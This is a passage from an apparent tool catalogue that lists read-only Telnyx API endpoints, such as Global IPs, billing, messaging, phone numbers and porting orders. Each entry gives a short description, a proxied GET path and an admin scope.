when creating Global IP health checks. [Global IPs] via GET /global_ip_health_check_types GET /api/v1/telnyx/global_ip_health_check_types. Scopes: admin. telnyx_get_global_ip_health_checks (read) — Returns a paginated list of the Global IP health checks configured on your account. [Global IPs] via GET /global_ip_health_checks GET /api/v1/telnyx/global_ip_health_checks. Scopes: admin. telnyx_get_global_ip_health_checks_by_id (read) — Returns the details of a single Global IP health check, including its type and configuration. [Global IPs] via GET /global_ip_health_checks/{id} GET /api/v1/telnyx/global_ip_health_checks/{id}. Scopes: admin. telnyx_get_global_ip_latency (read) — Retrieve latency metrics measured for your Global IPs. [Global IPs] via GET /global_ip_latency GET /api/v1/telnyx/global_ip_latency. Scopes: admin. telnyx_get_global_ip_protocols (read) — Returns the network protocols supported for Global IP traffic, for use when configuring Global IP resources. [Global IPs] via GET /global_ip_protocols GET /api/v1/telnyx/global_ip_protocols. Scopes: admin. telnyx_get_global_ip_usage (read) — Retrieve usage metrics for your Global IPs. [Global IPs] via GET /global_ip_usage GET /api/v1/telnyx/global_ip_usage. Scopes: admin. telnyx_get_global_ips (read) — Returns a paginated list of the Global IPs on your account, including each IP's address and configuration. [Global IPs] via GET /global_ips GET /api/v1/telnyx/global_ips. Scopes: admin. telnyx_get_global_ips_by_id (read) — Returns the details of a single Global IP, including its address and current configuration. [Global IPs] via GET /global_ips/{id} GET /api/v1/telnyx/global_ips/{id}. Scopes: admin. telnyx_get_inbound_channels (read) — Returns the US Zone voice channels for your account. voice channels allows you to use Channel Billing for calls to your Telnyx phone numbers. Please check the Telnyx Support Articles section for full information and examples of how to utilize Channel Billing. [Voice Channels] via GET /inbound_channels GET /api/v1/telnyx/inbound_channels. Scopes: admin. telnyx_get_inexplicit_number_orders (read) — Get a paginated list of inexplicit number orders. [Inexplicit Number Orders] via GET /inexplicit_number_orders GET /api/v1/telnyx/inexplicit_number_orders. Scopes: admin. telnyx_get_inexplicit_number_orders_by_id (read) — Get an existing inexplicit number order by ID. [Inexplicit Number Orders] via GET /inexplicit_number_orders/{id} GET /api/v1/telnyx/inexplicit_number_orders/{id}. Scopes: admin. telnyx_get_infringement_claims_by_claim_id (read) — Retrieve a single claim by id. Returns 404 if the claim does not exist or is not against a DIR you own. [Infringement Claims] via GET /infringement_claims/{claim_id} GET /api/v1/telnyx/infringement_claims/{claim_id}. Scopes: admin. telnyx_get_integration_secrets (read) — Retrieve a list of all integration secrets configured by the user. [Integration Secrets] via GET /integration_secrets GET /api/v1/telnyx/integration_secrets. Scopes: admin. telnyx_get_inventory_coverage (read) — Creates an inventory coverage request. If locality, npa or national_destination_code is used in groupBy, and no region or locality filters are used, the whole paginated set is returned. [Inventory Level] via GET /inventory_coverage GET /api/v1/telnyx/inventory_coverage. Scopes: admin. telnyx_get_invoices (read) — Returns a paginated list of your invoices, with support for sorting. [Billing] via GET /invoices GET /api/v1/telnyx/invoices. Scopes: admin. telnyx_get_invoices_by_id (read) — Retrieve a single invoice by its unique identifier. [Billing] via GET /invoices/{id} GET /api/v1/telnyx/invoices/{id}. Scopes: admin. telnyx_get_ip_connections (read) — Returns a paginated list of your IP-based SIP connections, with support for filtering and sorting. [IP Connections] via GET /ip_connections GET /api/v1/telnyx/ip_connections. Scopes: admin. telnyx_get_ip_connections_by_id (read) — Retrieves the details of an existing ip connection. [IP Connections] via GET /ip_connections/{id} GET /api/v1/telnyx/ip_connections/{id}. Scopes: admin. telnyx_get_ips (read) — Get all IPs belonging to the user that match the given filters. [IPs] via GET /ips GET /api/v1/telnyx/ips. Scopes: admin. telnyx_get_ips_by_id (read) — Return the details regarding a specific IP. [IPs] via GET /ips/{id} GET /api/v1/telnyx/ips/{id}. Scopes: admin. telnyx_get_ledger_billing_group_reports_by_id (read) — Retrieve the details and status of a previously created ledger billing group report. [Reports] via GET /ledger_billing_group_reports/{id} GET /api/v1/telnyx/ledger_billing_group_reports/{id}. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_messaging (read) — Retrieves all MDR detailed report requests for the authenticated user [MDR Detailed Reports] via GET /legacy_reporting/batch_detail_records/messaging GET /api/v1/telnyx/legacy_reporting/batch_detail_records/messaging. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_messaging_by_id (read) — Retrieves a specific MDR detailed report request by ID [MDR Detailed Reports] via GET /legacy_reporting/batch_detail_records/messaging/{id} GET /api/v1/telnyx/legacy_reporting/batch_detail_records/messaging/{id}. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_speech_to_text (read) — Retrieves all Speech to Text batch report requests for the authenticated user [Speech to Text Batch Reports] via GET /legacy/reporting/batch_detail_records/speech_to_text GET /api/v1/telnyx/legacy/reporting/batch_detail_records/speech_to_text. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_speech_to_text_by_id (read) — Retrieves a specific Speech to Text batch report request by ID [Speech to Text Batch Reports] via GET /legacy/reporting/batch_detail_records/speech_to_text/{id} GET /api/v1/telnyx/legacy/reporting/batch_detail_records/speech_to_text/{id}. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_voice (read) — Retrieves all CDR report requests for the authenticated user [CDR Reports] via GET /legacy_reporting/batch_detail_records/voice GET /api/v1/telnyx/legacy_reporting/batch_detail_records/voice. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_voice_by_id (read) — Retrieves a specific CDR report request by ID [CDR Reports] via GET /legacy_reporting/batch_detail_records/voice/{id} GET /api/v1/telnyx/legacy_reporting/batch_detail_records/voice/{id}. Scopes: admin. telnyx_get_legacy_reporting_batch_detail_records_voice_fields (read) — Retrieves all available fields that can be used in CDR reports [CDR Reports] via GET /legacy_reporting/batch_detail_records/voice/fields GET /api/v1/telnyx/legacy_reporting/batch_detail_records/voice/fields. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_messaging (read) — Fetch all previous requests for MDR usage reports. [MDR Usage Reports] via GET /legacy_reporting/usage_reports/messaging GET /api/v1/telnyx/legacy_reporting/usage_reports/messaging. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_messaging_by_id (read) — Returns a single MDR (Message Detail Record) usage report by its identifier, including its parameters and current status. [MDR Usage Reports] via GET /legacy_reporting/usage_reports/messaging/{id} GET /api/v1/telnyx/legacy_reporting/usage_reports/messaging/{id}. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_number_lookup (read) — Retrieve a paginated list of telco data usage reports [Telco Data Usage Reports] via GET /legacy_reporting/usage_reports/number_lookup GET /api/v1/telnyx/legacy_reporting/usage_reports/number_lookup. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_number_lookup_by_id (read) — Retrieve a specific telco data usage report by its ID [Telco Data Usage Reports] via GET /legacy_reporting/usage_reports/number_lookup/{id} GET /api/v1/telnyx/legacy_reporting/usage_reports/number_lookup/{id}. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_speech_to_text (read) — Generate and fetch speech to text usage report synchronously. This endpoint will both generate and fetch the speech to text report over a specified time period. [Speech to text Usage Reports] via GET /legacy_reporting/usage_reports/speech_to_text GET /api/v1/telnyx/legacy_reporting/usage_reports/speech_to_text. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_voice (read) — Fetch all previous requests for cdr usage reports. [CDR Usage Reports] via GET /legacy_reporting/usage_reports/voice GET /api/v1/telnyx/legacy_reporting/usage_reports/voice. Scopes: admin. telnyx_get_legacy_reporting_usage_reports_voice_by_id (read) — Returns a single CDR (Call Detail Record) usage report by its identifier, including its parameters and current status. [CDR Usage Reports] via GET /legacy_reporting/usage_reports/voice/{id} GET /api/v1/telnyx/legacy_reporting/usage_reports/voice/{id}. Scopes: admin. telnyx_get_list (read) — Retrieve a list of all phone numbers using Channel Billing, grouped by Zone. [Voice Channels] via GET /list GET /api/v1/telnyx/list. Scopes: admin. telnyx_get_list_by_channel_zone_id (read) — Retrieve a list of phone numbers using Channel Billing for a specific Zone. [Voice Channels] via GET /list/{channel_zone_id} GET /api/v1/telnyx/list/{channel_zone_id}. Scopes: admin. telnyx_get_managed_accounts (read) — Lists the accounts managed by the current user. Users need to be explictly approved by Telnyx in order to become manager accounts. [Managed Accounts] via GET /managed_accounts GET /api/v1/telnyx/managed_accounts. Scopes: admin. telnyx_get_managed_accounts_allocatable_global_outbound_channels (read) — Display information about allocatable global outbound channels for the current user. Only usable by account managers. [Managed Accounts] via GET /managed_accounts/allocatable_global_outbound_channels GET /api/v1/telnyx/managed_accounts/allocatable_global_outbound_channels. Scopes: admin. telnyx_get_managed_accounts_by_id (read) — Retrieves the details of a single managed account. [Managed Accounts] via GET /managed_accounts/{id} GET /api/v1/telnyx/managed_accounts/{id}. Scopes: admin. telnyx_get_media (read) — Returns a list of the media files stored on your account, with support for filtering. [Media Storage API] via GET /media GET /api/v1/telnyx/media. Scopes: admin. telnyx_get_media_by_media_name (read) — Returns the information about a stored media file. [Media Storage API] via GET /media/{media_name} GET /api/v1/telnyx/media/{media_name}. Scopes: admin. telnyx_get_meeting_sessions (read) — Returns a list of meeting sessions, optionally filtered by status. [Meeting Sessions] via GET /meeting_sessions GET /api/v1/telnyx/meeting_sessions. Scopes: admin. telnyx_get_meeting_sessions_by_id (read) — Retrieves a single meeting session by ID. A session that does not exist or that belongs to a different account both return 404. [Meeting Sessions] via GET /meeting_sessions/{id} GET /api/v1/telnyx/meeting_sessions/{id}. Scopes: admin. telnyx_get_meeting_sessions_by_id_artifacts (read) — Returns a list of artifacts for a meeting session. [Meeting Session Artifacts] via GET /meeting_sessions/{id}/artifacts GET /api/v1/telnyx/meeting_sessions/{id}/artifacts. Scopes: admin. telnyx_get_meeting_sessions_by_id_artifacts_by_artifact_id (read) — Retrieves a single meeting session artifact by ID. [Meeting Session Artifacts] via GET /meeting_sessions/{id}/artifacts/{artifact_id} GET /api/v1/telnyx/meeting_sessions/{id}/artifacts/{artifact_id}. Scopes: admin. telnyx_get_meeting_sessions_by_id_events (read) — Returns stored events ordered by ascending seq. To continue, pass the last returned item's seq as after. An empty page means no later stored events existed at read time; this operation returns no separate next-page cursor. Default limit is 100 and maximum is 1,000. [Meeting Session Data] via GET /meeting_sessions/{id}/events GET /api/v1/telnyx/meeting_sessions/{id}/events. Scopes: admin. telnyx_get_meeting_sessions_by_id_recordings (read) — Returns recordings for a meeting session. [Meeting Session Data] via GET /meeting_sessions/{id}/recordings GET /api/v1/telnyx/meeting_sessions/{id}/recordings. Scopes: admin. telnyx_get_meeting_sessions_by_id_transcript (read) — Returns transcript segments ordered by ascending seq. Default limit is 100 and maximum is 1,000. Continue with after=meta.next_after. A long-poll timeout returns 200 with empty data and meta.next_after: null; retain the cursor supplied to that request because null is not a replacement cursor. [Meeting Session Data] via GET /meeting_sessions/{id}/transcript GET /api/v1/telnyx/meeting_sessions/{id}/transcript. Scopes: admin. telnyx_get_messages_by_id (read) — Note: This API endpoint can only retrieve messages that are no older than 10 days since their creation. If you require messages older than this, please generate an MDR report. [Messages] via GET /messages/{id} GET /api/v1/telnyx/messages/{id}. Scopes: admin. telnyx_get_messages_group_by_message_id (read) — Retrieve all messages in a group MMS conversation by the group message ID. [Messages] via GET /messages/group/{message_id} GET /api/v1/telnyx/messages/group/{message_id}. Scopes: admin. telnyx_get_messages_rcs_deeplinks_by_agent_id (read) — Generate a deeplink URL that can be used to start an RCS conversation with a specific agent. [RCS] via GET /messages/rcs_deeplinks/{agent_id} GET /api/v1/telnyx/messages/rcs_deeplinks/{agent_id}. Scopes: admin. telnyx_get_messaging_hosted_number_orders (read) — Returns hosted-messaging orders for the authenticated account. Apply the documented filters and pagination parameters to narrow the result set. [Hosted Numbers] via GET /messaging_hosted_number_orders GET /api/v1/telnyx/messaging_hosted_number_orders. Scopes: admin. telnyx_get_messaging_hosted_number_orders_by_id (read) — Returns the current state, phone numbers, and required actions for the specified hosted-messaging order. [Hosted Numbers] via GET /messaging_hosted_number_orders/{id} GET /api/v1/telnyx/messaging_hosted_number_orders/{id}. Scopes: admin. telnyx_get_messaging_hosted_numbers (read) — List all hosted numbers associated with the authenticated user. [Messaging] via GET /messaging_hosted_numbers GET /api/v1/telnyx/messaging_hosted_numbers. Scopes: admin. telnyx_get_messaging_hosted_numbers_by_id (read) — Retrieve a specific messaging hosted number by its ID or phone number. [Messaging] via GET /messaging_hosted_numbers/{id} GET /api/v1/telnyx/messaging_hosted_numbers/{id}. Scopes: admin. telnyx_get_messaging_numbers_bulk_updates_by_order_id (read) — Returns processing status and results for a bulk messaging-settings update order. [Number Settings] via GET /messaging_numbers_bulk_updates/{order_id} GET /api/v1/telnyx/messaging_numbers_bulk_updates/{order_id}. Scopes: admin. telnyx_get_messaging_optouts (read) — Returns a paginated list of opt-out blocks created when message recipients opt out. Supports filtering and optional redaction of recipient numbers. [Opt-Out Management] via GET /messaging_optouts GET /api/v1/telnyx/messaging_optouts. Scopes: admin. telnyx_get_messaging_profile_metrics (read) — List high-level metrics for all messaging profiles belonging to the authenticated user. [Messaging] via GET /messaging_profile_metrics GET /api/v1/telnyx/messaging_profile_metrics. Scopes: admin. telnyx_get_messaging_profiles (read) — Lists the messaging profiles owned by the authenticated account. Apply the documented filters and pagination parameters to narrow the result set. [Profiles] via GET /messaging_profiles GET /api/v1/telnyx/messaging_profiles. Scopes: admin. telnyx_get_messaging_profiles_by_id (read) — Returns the complete configuration of the specified messaging profile, including webhook and sender-selection settings. [Profiles] via GET /messaging_profiles/{id} GET /api/v1/telnyx/messaging_profiles/{id}. Scopes: admin. telnyx_get_messaging_profiles_by_id_alphanumeric_sender_ids (read) — List all alphanumeric sender IDs associated with a specific messaging profile. [Messaging] via GET /messaging_profiles/{id}/alphanumeric_sender_ids GET /api/v1/telnyx/messaging_profiles/{id}/alphanumeric_sender_ids. Scopes: admin. telnyx_get_messaging_profiles_by_id_metrics (read) — Get detailed metrics for a specific messaging profile, broken down by time interval. [Messaging] via GET /messaging_profiles/{id}/metrics GET /api/v1/telnyx/messaging_profiles/{id}/metrics. Scopes: admin. telnyx_get_messaging_profiles_by_id_phone_numbers (read) — Returns the phone numbers currently associated with the specified messaging profile. [Profiles] via GET /messaging_profiles/{id}/phone_numbers GET /api/v1/telnyx/messaging_profiles/{id}/phone_numbers. Scopes: admin. telnyx_get_messaging_profiles_by_id_short_codes (read) — Returns the short codes currently associated with the specified messaging profile. [Profiles] via GET /messaging_profiles/{id}/short_codes GET /api/v1/telnyx/messaging_profiles/{id}/short_codes. Scopes: admin. telnyx_get_messaging_profiles_by_profile_id_autoresp_configs (read) — Returns the auto-response rules configured for the specified messaging profile. [Opt-Out Management] via GET /messaging_profiles/{profile_id}/autoresp_configs GET /api/v1/telnyx/messaging_profiles/{profile_id}/autoresp_configs. Scopes: admin. telnyx_get_messaging_profiles_by_profile_id_autoresp_configs_by_autoresp_cfg_id (read) — Returns the matching criteria and response content for the specified auto-response rule. [Opt-Out Management] via GET /messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id} GET /api/v1/telnyx/messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id}. Scopes: admin. telnyx_get_messaging_rcs_agents (read) — Returns RCS agents available to the authenticated account. [RCS] via GET /messaging/rcs/agents GET /api/v1/telnyx/messaging/rcs/agents. Scopes: admin. telnyx_get_messaging_rcs_agents_by_id (read) — Returns the configuration and current state of the specified RCS agent. [RCS] via GET /messaging/rcs/agents/{id} GET /api/v1/telnyx/messaging/rcs/agents/{id}. Scopes: admin. telnyx_get_messaging_rcs_capabilities_by_agent_id_by_phone_number (read) — Returns the RCS features supported by the specified recipient for the selected agent. [RCS] via GET /messaging/rcs/capabilities/{agent_id}/{phone_number} GET /api/v1/telnyx/messaging/rcs/capabilities/{agent_id}/{phone_number}. Scopes: admin. telnyx_get_messaging_tollfree_verification_requests (read) — Get a list of previously-submitted tollfree verification requests [Verification Requests] via GET /messaging_tollfree/verification/requests GET /api/v1/telnyx/messaging_tollfree/verification/requests. Scopes: admin. telnyx_get_messaging_tollfree_verification_requests_by_id (read) — Get a single verification request by its ID. [Verification Requests] via GET /messaging_tollfree/verification/requests/{id} GET /api/v1/telnyx/messaging_tollfree/verification/requests/{id}. Scopes: admin. telnyx_get_messaging_tollfree_verification_requests_by_id_status_history (read) — Get the history of status changes for a verification request. Returns a paginated list of historical status changes including the reason for each change and when it occurred. [Verification Requests] via GET /messaging_tollfree/verification/requests/{id}/status_history GET /api/v1/telnyx/messaging_tollfree/verification/requests/{id}/status_history. Scopes: admin. telnyx_get_messaging_url_domains (read) — Returns the URL domains available to the authenticated account for message URL shortening. [Messaging URL Domains] via GET /messaging_url_domains GET /api/v1/telnyx/messaging_url_domains. Scopes: admin. telnyx_get_mobile_network_operators (read) — Telnyx has a set of GSM mobile operators partners that are available through our mobile network roaming. This resource is entirely managed by Telnyx and may change over time. That means that this resource won't allow any write operations for it. Still, it's available so it can be used as a support resource that can be related to other resources or become a configuration option. [Mobile Network Operators] via GET /mobile_network_operators GET /api/v1/telnyx/mobile_network_operators. Scopes: admin. telnyx_get_mobile_phone_numbers_by_id_messaging (read) — Returns the messaging configuration for the specified mobile phone number. [Mobile Number Settings] via GET /mobile_phone_numbers/{id}/messaging GET /api/v1/telnyx/mobile_phone_numbers/{id}/messaging. Scopes: admin. telnyx_get_mobile_phone_numbers_messaging (read) — Returns mobile phone numbers with their current messaging configuration. [Mobile Number Settings] via GET /mobile_phone_numbers/messaging GET /api/v1/telnyx/mobile_phone_numbers/messaging. Scopes: admin. telnyx_get_mobile_push_credentials (read) — Returns a paginated list of the mobile push credentials on your account, with support for filtering. [Push Credentials] via GET /mobile_push_credentials GET /api/v1/telnyx/mobile_push_credentials. Scopes: admin. telnyx_get_mobile_push_credentials_by_push_credential_id (read) — Retrieves mobile push credential based on the given push_credential_id [Push Credentials] via GET /mobile_push_credentials/{push_credential_id} GET /api/v1/telnyx/mobile_push_credentials/{push_credential_id}. Scopes: admin. telnyx_get_network_coverage (read) — List all locations and the interfaces that region supports [Coverage] via GET /network_coverage GET /api/v1/telnyx/network_coverage. Scopes: admin. telnyx_get_networks (read) — Returns a paginated list of the private networks on your account, with support for filtering. [Networks] via GET /networks GET /api/v1/telnyx/networks. Scopes: admin. telnyx_get_networks_by_id (read) — Returns the details of a single network by its identifier. [Networks] via GET /networks/{id} GET /api/v1/telnyx/networks/{id}. Scopes: admin. telnyx_get_networks_by_id_default_gateway (read) — Returns the status of the default gateway configured on the specified network. [Networks] via GET /networks/{id}/default_gateway GET /api/v1/telnyx/networks/{id}/default_gateway. Scopes: admin. telnyx_get_networks_by_id_network_interfaces (read) — Returns a paginated list of the interfaces attached to the specified network, with support for filtering. [Networks] via GET /networks/{id}/network_interfaces GET /api/v1/telnyx/networks/{id}/network_interfaces. Scopes: admin. telnyx_get_notification_channels (read) — Returns a paginated list of your notification channels, the destinations that receive notifications. [Notifications] via GET /notification_channels GET /api/v1/telnyx/notification_channels. Scopes: admin. telnyx_get_notification_channels_by_id (read) — Returns the details of a single notification channel by its identifier. [Notifications] via GET /notification_channels/{id} GET /api/v1/telnyx/notification_channels/{id}. Scopes: admin. telnyx_get_notification_event_conditions (read) — Returns a list of your notifications events conditions. [Notifications] via GET /notification_event_conditions GET /api/v1/telnyx/notification_event_conditions. Scopes: admin. telnyx_get_notification_events (read) — Returns a list of your notifications events. [Notifications] via GET /notification_events GET /api/v1/telnyx/notification_events. Scopes: admin. telnyx_get_notification_profiles (read) — Returns a list of your notifications profiles. [Notifications] via GET /notification_profiles GET /api/v1/telnyx/notification_profiles. Scopes: admin. telnyx_get_notification_profiles_by_id (read) — Returns the details of a single notification profile by its identifier. [Notifications] via GET /notification_profiles/{id} GET /api/v1/telnyx/notification_profiles/{id}. Scopes: admin. telnyx_get_notification_settings (read) — Returns a paginated list of your notification settings, which map notification event types to profiles and channels. [Notifications] via GET /notification_settings GET /api/v1/telnyx/notification_settings. Scopes: admin. telnyx_get_notification_settings_by_id (read) — Returns the details of a single notification setting by its identifier. [Notifications] via GET /notification_settings/{id} GET /api/v1/telnyx/notification_settings/{id}. Scopes: admin. telnyx_get_number_block_orders (read) — Get a paginated list of number block orders. [Phone Number Block Orders] via GET /number_block_orders GET /api/v1/telnyx/number_block_orders. Scopes: admin. telnyx_get_number_block_orders_by_number_block_order_id (read) — Get an existing phone number block order. [Phone Number Block Orders] via GET /number_block_orders/{number_block_order_id} GET /api/v1/telnyx/number_block_orders/{number_block_order_id}. Scopes: admin. telnyx_get_number_lookup_by_phone_number (read) — Returns information about the provided phone number. [Number Lookup] via GET /number_lookup/{phone_number} GET /api/v1/telnyx/number_lookup/{phone_number}. Scopes: admin. telnyx_get_number_order_phone_numbers (read) — Get a list of phone numbers associated to orders. [Phone Number Orders] via GET /number_order_phone_numbers GET /api/v1/telnyx/number_order_phone_numbers. Scopes: admin. telnyx_get_number_order_phone_numbers_by_number_order_phone_number_id (read) — Get an existing phone number in number order. [Phone Number Orders] via GET /number_order_phone_numbers/{number_order_phone_number_id} GET /api/v1/telnyx/number_order_phone_numbers/{number_order_phone_number_id}. Scopes: admin. telnyx_get_number_orders (read) — Returns a paginated list of your phone number orders, with support for filtering. [Phone Number Orders] via GET /number_orders GET /api/v1/telnyx/number_orders. Scopes: admin. telnyx_get_number_orders_by_number_order_id (read) — Returns the details of an existing phone number order, including its status and the numbers included. [Phone Number Orders] via GET /number_orders/{number_order_id} GET /api/v1/telnyx/number_orders/{number_order_id}. Scopes: admin. telnyx_get_number_reservations (read) — Gets a paginated list of phone number reservations. [Phone Number Reservations] via GET /number_reservations GET /api/v1/telnyx/number_reservations. Scopes: admin. telnyx_get_number_reservations_by_number_reservation_id (read) — Returns the details of a single phone number reservation, including its status and the reserved numbers. [Phone Number Reservations] via GET /number_reservations/{number_reservation_id} GET /api/v1/telnyx/number_reservations/{number_reservation_id}. Scopes: admin. telnyx_get_oauth_clients (read) — Retrieve a paginated list of OAuth clients for the authenticated user [OAuth Clients] via GET /oauth_clients GET /api/v1/telnyx/oauth_clients. Scopes: admin. telnyx_get_oauth_clients_by_id (read) — Returns the details of a single OAuth client on your account by its ID. [OAuth Clients] via GET /oauth_clients/{id} GET /api/v1/telnyx/oauth_clients/{id}. Scopes: admin. telnyx_get_oauth_grants (read) — Retrieve a paginated list of OAuth grants for the authenticated user [OAuth Grants] via GET /oauth_grants GET /api/v1/telnyx/oauth_grants. Scopes: admin. telnyx_get_oauth_grants_by_id (read) — Returns the details of a single OAuth grant on your account by its ID. [OAuth Grants] via GET /oauth_grants/{id} GET /api/v1/telnyx/oauth_grants/{id}. Scopes: admin. telnyx_get_oauth_jwks (read) — Retrieve the JSON Web Key Set for token verification [OAuth Protocol] via GET /oauth/jwks GET /api/v1/telnyx/oauth/jwks. Scopes: admin. telnyx_get_organizations_users (read) — Returns a list of the users in your organization. [Organization Users] via GET /organizations/users GET /api/v1/telnyx/organizations/users. Scopes: admin. telnyx_get_organizations_users_by_id (read) — Returns the details of a user in your organization, optionally including the groups the user belongs to. [Organization Users] via GET /organizations/users/{id} GET /api/v1/telnyx/organizations/users/{id}. Scopes: admin. telnyx_get_organizations_users_users_groups_report (read) — Returns a report of all users in your organization with their group memberships. This endpoint returns all users without pagination and always includes group information. The report can be retrieved in JSON or CSV format by sending specific content-type headers. [Organization Users] via GET /organizations/users/users_groups_report GET /api/v1/telnyx/organizations/users/users_groups_report. Scopes: admin. telnyx_get_ota_updates (read) — Retrieve a paginated list of over-the-air (OTA) update operations for your SIM cards. [OTA updates] via GET /ota_updates GET /api/v1/telnyx/ota_updates. Scopes: admin. telnyx_get_ota_updates_by_id (read) — This API returns the details of an Over the Air (OTA) update. [OTA updates] via GET /ota_updates/{id} GET /api/v1/telnyx/ota_updates/{id}. Scopes: admin. telnyx_get_outbound_voice_profiles (read) — Get all outbound voice profiles belonging to the user that match the given filters. [Outbound Voice Profiles] via GET /outbound_voice_profiles GET /api/v1/telnyx/outbound_voice_profiles. Scopes: admin. telnyx_get_outbound_voice_profiles_by_id (read) — Retrieves the details of an existing outbound voice profile. [Outbound Voice Profiles] via GET /outbound_voice_profiles/{id} GET /api/v1/telnyx/outbound_voice_profiles/{id}. Scopes: admin. telnyx_get_payment_auto_recharge_prefs (read) — Returns the payment auto recharge preferences. [AutoRechargePreferences] via GET /payment/auto_recharge_prefs GET /api/v1/telnyx/payment/auto_recharge_prefs. Scopes: admin. telnyx_get_phone_number_blocks_jobs (read) — Returns background jobs that operate on phone-number blocks. Results can be filtered by job type and status, sorted by creation time, and include pagination metadata. [Phone Number Blocks Background Jobs] via GET /phone_number_blocks/jobs GET /api/v1/telnyx/phone_number_blocks/jobs. Scopes: admin. telnyx_get_phone_number_blocks_jobs_by_id (read) — Returns the status and details of the phone-number-block background job identified by id. [Phone Number Blocks Background Jobs] via GET /phone_number_blocks/jobs/{id} GET /api/v1/telnyx/phone_number_blocks/jobs/{id}. Scopes: admin. telnyx_get_phone_numbers (read) — Returns phone numbers associated with the account. Results support pagination, sorting, and filters for number attributes, status, source, connections, billing groups, emergency addresses, tags, and customer references. [Phone Number Configurations] via GET /phone_numbers GET /api/v1/telnyx/phone_numbers. Scopes: admin. telnyx_get_phone_numbers_by_id (read) — Returns the detailed configuration and current state of the phone number identified by id. [Phone Number Configurations] via GET /phone_numbers/{id} GET /api/v1/telnyx/phone_numbers/{id}. Scopes: admin. telnyx_get_phone_numbers_by_id_messaging (read) — Returns the messaging product and messaging-profile assignment for the specified phone number. [Number Settings] via GET /phone_numbers/{id}/messaging GET /api/v1/telnyx/phone_numbers/{id}/messaging. Scopes: admin. telnyx_get_phone_numbers_by_id_voice (read) — Returns the specified phone number together with its current voice configuration. [Phone Number Configurations] via GET /phone_numbers/{id}/voice GET /api/v1/telnyx/phone_numbers/{id}/voice. Scopes: admin. telnyx_get_phone_numbers_by_phone_number_id_voicemail (read) — Returns the voicemail settings for a phone number [Voicemail] via GET /phone_numbers/{phone_number_id}/voicemail GET /api/v1/telnyx/phone_numbers/{phone_number_id}/voicemail. Scopes: admin. telnyx_get_phone_numbers_csv_downloads (read) — Returns CSV export jobs created for account phone numbers, including each export's current status and pagination metadata. [CSV Downloads] via GET /phone_numbers/csv_downloads GET /api/v1/telnyx/phone_numbers/csv_downloads. Scopes: admin. telnyx_get_phone_numbers_csv_downloads_by_id (read) — Returns the current status and download details for the CSV export identified by id. [CSV Downloads] via GET /phone_numbers/csv_downloads/{id} GET /api/v1/telnyx/phone_numbers/csv_downloads/{id}. Scopes: admin. telnyx_get_phone_numbers_jobs (read) — Returns background jobs that operate on phone numbers. Results can be filtered by job type and sorted by creation time, and include pagination metadata. [Bulk Phone Number Operations] via GET /phone_numbers/jobs GET /api/v1/telnyx/phone_numbers/jobs. Scopes: admin. telnyx_get_phone_numbers_jobs_by_id (read) — Returns the status and details of the phone-number background job identified by id. [Bulk Phone Number Operations] via GET /phone_numbers/jobs/{id} GET /api/v1/telnyx/phone_numbers/jobs/{id}. Scopes: admin. telnyx_get_phone_numbers_messaging (read) — Returns phone numbers with their current messaging product and messaging-profile assignments. [Number Settings] via GET /phone_numbers/messaging GET /api/v1/telnyx/phone_numbers/messaging. Scopes: admin. telnyx_get_phone_numbers_regulatory_requirements (read) — Returns the regulatory requirements that apply to the supplied comma-separated phone numbers. The response includes the matching requirement records and pagination metadata. [Regulatory Requirements] via GET /phone_numbers_regulatory_requirements GET /api/v1/telnyx/phone_numbers_regulatory_requirements. Scopes: admin. telnyx_get_phone_numbers_slim (read) — List phone numbers, This endpoint is a lighter version of the /phone_numbers endpoint having higher performance and rate limit. [Phone Number Configurations] via GET /phone_numbers/slim GET /api/v1/telnyx/phone_numbers/slim. Scopes: admin. telnyx_get_phone_numbers_voice (read) — Returns account phone numbers together with their voice settings. Results support pagination, sorting, and filters for number, connection name, customer reference, and voice usage payment method. [Phone Number Configurations] via GET /phone_numbers/voice GET /api/v1/telnyx/phone_numbers/voice. Scopes: admin. telnyx_get_porting_events (read) — Returns a paginated list of porting-related events on your account, such as status changes on porting orders. Supports filtering and is useful for auditing or reconciling webhook deliveries. [Porting Orders] via GET /porting/events GET /api/v1/telnyx/porting/events. Scopes: admin. telnyx_get_porting_events_by_id (read) — Returns the details of a single porting event, including its type and payload. [Porting Orders] via GET /porting/events/{id} GET /api/v1/telnyx/porting/events/{id}. Scopes: admin. telnyx_get_porting_loa_configurations (read) — Returns a paginated list of your LOA (Letter of Authorization) configurations. LOA configurations customize the company details and branding used on generated LOA documents. [Porting Orders] via GET /porting/loa_configurations GET /api/v1/telnyx/porting/loa_configurations. Scopes: admin. telnyx_get_porting_loa_configurations_by_id (read) — Returns the details of a single LOA (Letter of Authorization) configuration by its identifier. [Porting Orders] via GET /porting/loa_configurations/{id} GET /api/v1/telnyx/porting/loa_configurations/{id}. Scopes: admin. telnyx_get_porting_orders (read) — Returns a paginated list of your porting orders. Supports filtering and sorting, and can optionally include the phone numbers attached to each order. [Porting Orders] via GET /porting_orders GET /api/v1/telnyx/porting_orders. Scopes: admin. telnyx_get_porting_orders_by_id (read) — Retrieves the details of an existing porting order. [Porting Orders] via GET /porting_orders/{id} GET /api/v1/telnyx/porting_orders/{id}. Scopes: admin. telnyx_get_porting_orders_by_id_activation_jobs (read) — Returns a list of your porting activation jobs. [Porting Orders] via GET /porting_orders/{id}/activation_jobs GET /api/v1/telnyx/porting_orders/{id}/activation_jobs. Scopes: admin. telnyx_get_porting_orders_by_id_activation_jobs_by_activationjobid (read) — Returns the details of a single activation job for the porting order, including its current status. [Porting Orders] via GET /porting_orders/{id}/activation_jobs/{activationJobId} GET /api/v1/telnyx/porting_orders/{id}/activation_jobs/{activationJobId}. Scopes: admin. telnyx_get_porting_orders_by_id_additional_documents (read) — Returns a list of additional documents for a porting order. [Porting Orders] via GET /porting_orders/{id}/additional_documents GET 